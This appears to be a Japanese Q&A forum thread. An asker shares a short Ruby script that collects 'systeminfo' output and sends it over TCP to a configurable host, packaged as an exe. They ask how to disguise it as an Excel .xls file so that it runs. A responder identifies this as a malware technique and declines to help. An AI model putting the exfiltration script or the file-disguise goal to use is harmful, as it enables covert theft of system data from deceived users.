rubyのコードをexe形式に変更しました。
ruby
1#sample.rb 2require 'socket' 3a = `systeminfo` 4info = a.encode("UTF-8") 5host = if ARGV[0] then ARGV[0] else "localhost" end 6port = if ARGV[1] then ARGV[1] else "58000" end 7sock = TCPSocket.open(host,port) 8sock.write(info) 9sock.close 10
これを
cmd
1ocra sample.rb
上記のコマンドでexe形式に変換しました。
↓
cmd
1MD
(一部コピペしようと思ったのですができませんでした・・・)
上記のファイルはexe形式であり
ファイル名はsample.exeとなっております。
このexeファイルを無理やりでもいいので
ファイル名sample.xlsというかんじで
エクセルのファイルに見せかけることは可能でしょうか?
上記を実行すると
cmd
1windows互換バージョンを利用可能であるか確認してください。
と出て実行させることができません。
上記ではsample.xlsと書いてありますが
あくまで見せかけるだけです。
分からないので参考になるリンクまたは説明をお願いします。
なんのためにそのようなことをしたいのでしょうか。
見せかけるとは??
リネームすれば良いというのでは何が不足ですか?
ありがとうございます。
なんのためにそのようなことをしたいのでしょうか。>
エクセルと見せかけてRubyのコードを実行したいからです。
見せかけるとは??>
名前を上書きして
sample.exe⇒sample.xls
と書くことで見た目だけではエクセルファイルにしか見えなくなります。
これを実行して動けばよかったんですが
動かなかったので どうやればできるのか?
というところで質問をしました。。。
> エクセルと見せかけてRubyのコードを実行したいからです。
普通に迷惑な行為ですし、場合によっては悪用される手法となるため、通報案件です。
(要は「マルウェアを作りたいです」って言ってるのと同じ)
わかりました。
ありがとうございます。
回答2件
あなたの回答
tips
プレビュー